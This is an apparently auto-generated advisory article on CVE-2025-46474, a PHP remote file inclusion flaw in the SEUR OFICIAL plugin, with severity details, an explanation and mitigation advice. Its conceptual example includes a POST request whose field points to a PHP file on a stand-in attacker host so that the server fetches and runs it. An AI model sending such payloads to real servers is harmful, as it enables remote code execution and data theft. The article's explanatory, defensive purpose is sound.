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CVE-2025-46474: PHP Remote File Inclusion Vulnerability in SEUR OFICIAL

Overview

The cybersecurity landscape is continuously evolving, with new vulnerabilities being discovered almost daily. One such vulnerability is CVE-2025-46474, a PHP Remote File Inclusion vulnerability found in SEUR OFICIAL. This vulnerability affects SEUR OFICIAL versions up to 2.2.23. It’s a severe issue, scoring an 8.1 on the Common Vulnerability Scoring System (CVSS), a standardized method for rating IT vulnerabilities. If exploited, this vulnerability could lead to system compromise or data leakage, posing a significant threat to the security of affected systems.

Vulnerability Summary

CVE ID: CVE-2025-46474
Severity: High (8.1 on the CVSS scale)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

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Product | Affected Versions

SEUR OFICIAL | Up to 2.2.23

How the Exploit Works

The vulnerability resides in the improper control of filename for Include/Require statement in PHP Program. An attacker can exploit this vulnerability by sending a specially crafted HTTP request that includes a malicious file from a remote server. The attacker-controlled file is included and executed in the context of the application, leading to remote code execution.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited. In this example, the attacker crafts a POST request to the vulnerable endpoint, including a malicious payload in the form of a remote file path.

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "include_file": "http://attacker.com/malicious_file.php" }

In this example, `http://attacker.com/malicious_file.php` is a PHP file controlled by the attacker, containing malicious code. When the server processes this request, it includes and executes the malicious file, leading to a potential system compromise or data leakage.

Mitigation

To mitigate this vulnerability, users are advised to apply the vendor patch as soon as it becomes available. In the meantime, a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can be used as a temporary mitigation measure. These systems can help to detect and block attempts to exploit this vulnerability. Besides, it is good practice to avoid using user-controllable input without proper validation in Include/Require statements in PHP programs.

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

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